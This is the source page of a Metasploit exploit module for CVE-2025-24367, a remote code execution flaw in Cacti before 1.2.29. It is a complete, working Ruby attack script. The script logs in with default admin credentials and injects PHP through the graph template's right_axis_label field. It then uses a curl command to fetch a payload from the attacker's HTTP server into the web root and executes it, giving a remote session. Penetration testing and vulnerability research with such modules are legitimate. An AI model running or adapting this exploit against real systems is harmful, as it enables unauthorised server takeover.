Path: blob/master/modules/exploits/multi/http/cacti_graph_template_rce.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::FileDropper11include Msf::Exploit::Cacti12prepend Msf::Exploit::Remote::AutoCheck1314class CactiError < StandardError; end15class CactiNotFoundError < CactiError; end16class CactiVersionNotFoundError < CactiError; end17class CactiNoAccessError < CactiError; end18class CactiCsrfNotFoundError < CactiError; end19class CactiLoginError < CactiError; end2021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Cacti Graph Template authenticated RCE versions prior to 1.2.29',26'Description' => %q{27This module exploits an authenticated remote code execution vulnerability in Cacti versions prior to 1.2.29.28Authenticated users can upload a graph template through the /graph_templates.php endpoint. The right_axis_label29parameter is vulnerable to code injection, allowing attackers to execute arbitrary commands on the server.30The payload is length limited, due to this constraint the module starts an HTTP server and hosts the payload.31The initial payload downloads the full payload using curl from the attacker's server and saves it to the32web root of the cacti server before executing.33},34'License' => MSF_LICENSE,35'Author' => [36'chutchut', # Original discovery37'Jack Heysel' # Metasploit module38],39'References' => [40[ 'URL', 'https://github.com/SoftAndoWetto/CVE-2025-24367-PoC-Cacti/blob/main/exploit.py'],41[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq'],42[ 'CVE', '2025-24367'],43],44'Privileged' => false,45'Targets' => [46[47'Linux',48{49'Arch' => [ARCH_CMD, ARCH_PHP],50'Platform' => [ 'unix', 'linux', 'php' ],51# The graph template id 226 corresponds to "Linux - Logged on users"52'TemplateId' => 22653}54],55[56'Windows',57{58'Arch' => [ARCH_CMD, ARCH_PHP],59'Platform' => [ 'win', 'php' ],60# The graph template id 197 corresponds to "Host MIB - Logged in Users"61'TemplateId' => 19762}63]64],65'DefaultOptions' => {66'WfsDelay' => 60067},68'DisclosureDate' => '2025-01-27',69'DefaultTarget' => 0,70'Notes' => {71'Stability' => [CRASH_SAFE],72'Reliability' => [REPEATABLE_SESSION],73'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]74}75)76)7778register_options(79[80OptString.new('USERNAME', [ true, 'User to login with', 'admin']),81OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),82OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']),83]84)85end8687def check88print_status('Checking Cacti version')89res = send_request_cgi(90'uri' => normalize_uri(target_uri.path, 'index.php'),91'method' => 'GET',92'keep_cookies' => true93)94return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?9596html = res.get_html_document97begin98@cacti_version = parse_version(html)99version_msg = "The web server is running Cacti version #{@cacti_version}"100rescue CactiNotFoundError => e101return CheckCode::Safe(e.message)102rescue CactiVersionNotFoundError => e103return CheckCode::Unknown(e.message)104end105106if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.29')107print_good(version_msg)108else109return CheckCode::Safe(version_msg)110end111112@csrf_token = parse_csrf_token(html)113return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?114115begin116do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)117rescue CactiError => e118return CheckCode::Unknown("Login failed: #{e}")119end120121@logged_in = true122CheckCode::Vulnerable123end124125def csrf_magic_token126template_url = normalize_uri(target_uri.path, '/graph_templates.php?action=template_edit&id=' + target['TemplateId'].to_s)127res = send_request_cgi({128'uri' => template_url,129'method' => 'GET',130'keep_cookies' => true131})132unless res && res.code == 200133fail_with(Failure::UnexpectedReply, "Could not access graph template edit page at #{template_url}")134end135136csrf_magic_token = nil137magic_script_tag = res.get_html_document&.xpath('//script[contains(text(), "csrfMagicToken")]')&.text138if magic_script_tag139magic_script_tag =~ /var csrfMagicToken\s=\s"(sid:[a-z0-9]+,[a-z0-9]+)";/140csrf_magic_token = Regexp.last_match(1)141end142143fail_with(Failure::UnexpectedReply, 'Could not find csrfMagicToken in the template edit page') if csrf_magic_token.nil?144csrf_magic_token145end146147def generate_right_axis_label(command, php_filename)148<<~LABEL149XXX150create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200151graph #{php_filename} -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`#{command}`;?>152LABEL153end154155def send_template_update(csrf_magic, right_axis_label)156data = {157'__csrf_magic' => csrf_magic,158'name' => 'Host MIB - Logged in Users',159'graph_template_id' => target['TemplateId'],160'graph_template_graph_id' => target['TemplateId'],161'save_component_template' => '1',162'title' => '|host_description| - Logged in Users',163'vertical_label' => 'percent',164'image_format_id' => '3',165'height' => '200',166'width' => '700',167'base_value' => '1000',168'slope_mode' => 'on',169'auto_scale' => 'on',170'auto_scale_opts' => '2',171'auto_scale_rigid' => 'on',172'upper_limit' => '100',173'lower_limit' => '0',174'right_axis_label' => right_axis_label,175'action' => 'save'176}177178update_url = normalize_uri(target_uri.path, '/graph_templates.php?header=false')179res = send_request_cgi!({180'uri' => update_url,181'method' => 'POST',182'keep_cookies' => true,183'data' => URI.encode_www_form(data)184})185print_status("Template update response: HTTP #{res.code}") if res186end187188def trigger_template189trigger_url = normalize_uri(target_uri.path, '/graph_json.php?rra_id=0&local_graph_id=3&graph_start=1761683272&graph_end=1761769672&graph_height=200&graph_width=700')190res = send_request_cgi({191'uri' => trigger_url,192'method' => 'GET',193'keep_cookies' => true194})195print_status("Trigger template update response: HTTP #{res.code}") if res196end197198def upload_stage(upload_payload_command)199csrf_magic = csrf_magic_token200php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"201register_file_for_cleanup(php_filename)202203right_axis_label = generate_right_axis_label(upload_payload_command, php_filename)204send_template_update(csrf_magic, right_axis_label)205trigger_template206207php_payload_check = send_request_cgi({208'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),209'method' => 'GET',210'keep_cookies' => true211})212if php_payload_check && php_payload_check.code == 200213print_good("PHP payload uploaded successfully to #{target_uri.path}/#{php_filename}")214else215fail_with(Failure::UnexpectedReply, "Could not access the uploaded payload at #{target_uri.path}/#{php_filename}")216end217end218219def execute_stage(execute_payload_command)220csrf_magic = csrf_magic_token221php_filename = "#{Rex::Text.rand_text_alpha(1)}.php"222register_file_for_cleanup(php_filename)223224right_axis_label = generate_right_axis_label(execute_payload_command, php_filename)225send_template_update(csrf_magic, right_axis_label)226trigger_template227228send_request_cgi({229'uri' => normalize_uri(target_uri.path, "/#{php_filename}"),230'method' => 'GET',231'keep_cookies' => true232})233end234235def on_request_uri(cli, request)236print_status("Request '#{request.method} #{request.uri}'")237print_status('Sending payload ...')238send_response(cli, payload.encoded,239'Content-Type' => 'application/octet-stream')240end241242def authenticate243if @csrf_token.blank? || @cacti_version.blank?244res = send_request_cgi(245'uri' => normalize_uri(target_uri.path, 'index.php'),246'method' => 'GET',247'keep_cookies' => true248)249fail_with(Failure::Unreachable, 'Could not connect to the web server - no response') if res.nil?250251html = res.get_html_document252if @csrf_token.blank?253print_status('Getting the CSRF token to login')254@csrf_token = parse_csrf_token(html)255fail_with(Failure::NotFound, 'Unable to get the CSRF token') if @csrf_token.empty?256257vprint_good("CSRF token: #{@csrf_token}")258end259260if @cacti_version.blank?261print_status('Getting the version')262begin263@cacti_version = parse_version(html)264vprint_good("Version: #{@cacti_version}")265rescue CactiError => e266print_error("Could not get the version, the exploit might fail: #{e}")267end268end269end270271unless @logged_in272begin273do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)274rescue CactiError => e275fail_with(Failure::NoAccess, "Login failure: #{e}")276end277end278end279280def validate_configuration!281if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0282fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')283end284285if Rex::Socket.is_ipv6?(datastore['SRVHOST'])286fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to an IPv4 address, as an IPv6 address exceeds the 47 character payload length limitation of this exploit.')287end288end289290def exploit291validate_configuration!292authenticate293hosted_payload_name = Rex::Text.rand_text_alpha_lower(1)294start_service('Path' => "/#{hosted_payload_name}", 'ssl' => false)295if payload.arch.first == ARCH_CMD296if target.name == 'Windows'297on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.bat"298execute_payload_command = "cmd\\x20/c\\x20#{on_disk_payload_name}"299else300on_disk_payload_name = Rex::Text.rand_text_alpha_lower(1)301execute_payload_command = "sh\\x20#{on_disk_payload_name}"302end303else304on_disk_payload_name = "#{Rex::Text.rand_text_alpha_lower(1)}.php"305execute_payload_command = "php\\x20#{on_disk_payload_name}"306end307vprint_status("Payload execution command: #{execute_payload_command}")308309# upload_payload_command must not exceed 47 characters or the exploit will fail, this is why 1 character payload names are used, SSL is disabled and IPv6 addresses for SRVHOST are not supported310upload_payload_command = "curl\\x20#{datastore['SRVHOST']}\\x3a#{datastore['SRVPORT']}/#{hosted_payload_name}\\x20-o\\x20#{on_disk_payload_name}"311fail_with(Exploit::Failure::BadConfig, "The generated upload command length of: #{upload_payload_command.length}, exceeds the 47 character limit, please attempt to shorten either SRVHOST or SRVPORT") if upload_payload_command.length > 47312upload_stage(upload_payload_command)313execute_stage(execute_payload_command)314end315end316317318